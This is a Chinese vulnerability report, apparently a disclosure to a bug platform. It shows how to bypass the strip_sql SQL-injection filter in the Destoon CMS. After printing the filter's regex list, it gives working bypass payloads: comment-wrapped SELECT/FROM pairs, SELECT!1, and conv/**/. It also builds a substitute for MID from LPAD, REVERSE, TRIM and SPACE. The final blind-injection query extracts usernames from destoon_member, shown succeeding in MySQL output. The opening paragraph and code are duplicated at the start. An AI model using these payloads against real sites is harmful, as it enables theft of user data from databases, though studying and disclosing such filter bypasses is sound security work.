### 简要描述: strip_sql是destoon主要的安全防御函数。主要防御大多数情况下的注入漏洞。这个函数如果可以被绕过。那么会引发多个位置的注入漏洞。 ### 详细说明: strip_sql函数位于 `\include\safe.func.php`,38行 ``` function strip_sql($string, $type = 1) { $match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i"); $replace =...
### 简要描述: strip_sql是destoon主要的安全防御函数。主要防御大多数情况下的注入漏洞。这个函数如果可以被绕过。那么会引发多个位置的注入漏洞。 ### 详细说明: strip_sql函数位于 `\include\safe.func.php`,38行 ``` function strip_sql($string, $type = 1) { $match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i"); $replace = array('union','where','having','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','right(','mid(','concat(','concat_ws(','make_set(','ascii(','bin(','oct(','hex(','ord(','char(','conv('); if($type) { return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string); } else { return str_replace(array('d', 'e', 'g', 'i', 'm', 'n','p', 'r', 's', 't', 'v', 'x'), array('d', 'e', 'g', 'i', 'm', 'n', 'p', 'r', 's', 't', 'v', 'x'), $string); } } ``` 与之前提交的代码相比,`select from` 与 `select` 的位置进行了互换,过滤中加入了`accent`符号。过滤中还新加入了`right`,`mid`等函数。对于这些过滤。我们来一个个的绕过。 ### `select from` 与 `select` 这个问题的绕过,还是使用上次的技巧。先给出利用语句。 ``` /*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from ``` 过滤后是这样的 ``` /*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from `destoon_member` limit 1 ``` 首先是经过`/select([\s\S]*?)from/i`语句,会把第一个select和第一个from过滤。在这里我们需要牺牲这两个字符串,只有这样才能保全剩下的SELECT和FROM。 对于/select([\s\*\/\-\{\(\+@`])/i的过滤,我们也有办法: ``` 技巧一:select.``.password from destoon_member 技巧二:select!1,password from destoon_member ``` ### 函数过滤 strip_sql过滤了几乎所有的猜解字符函数,但是通过其他的技巧,还是可以绕过的。根据mysql的提示,函数与括号之间不能包含空格以外的字符,否则将此函数当成表名。那么我们接下来需要再找一些替代函数。我在这找到的是 LPAD、REVERSE、TRIM、SPACE,这4个函数组合起来,可以达到mid的目的 ``` mysql> SELECT LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1)); SELECT MID('username',3,1); +---------------------------------------------------------------+ | LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1)) | +---------------------------------------------------------------+ | e | +---------------------------------------------------------------+ 1 row in set +---------------------+ | MID('username',3,1) | +---------------------+ | e | +---------------------+ 1 row in set mysql> ``` 拆分字符串之后,我们试着把字符串转为10进制。conv与括号之间加入注释符,依然是可以使用的。 ``` mysql> select conv/**/('ad',16,10); +----------------------+ | conv/**/('ad',16,10) | +----------------------+ | 173 | +----------------------+ 1 row in set ``` ## 漏洞利用代码 猜解destoon_member里的username。 ``` (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT 0,13) ``` 这个是转换后的代码,依然可以执行: ``` (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) ``` ### 漏洞证明: 我们提交的原语句为 ``` (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) ``` 过滤后的语句为 ``` (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) ``` 以下为测试SQL语句的可执行性 ``` mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223); +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 0 | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13); +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13) | +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set ```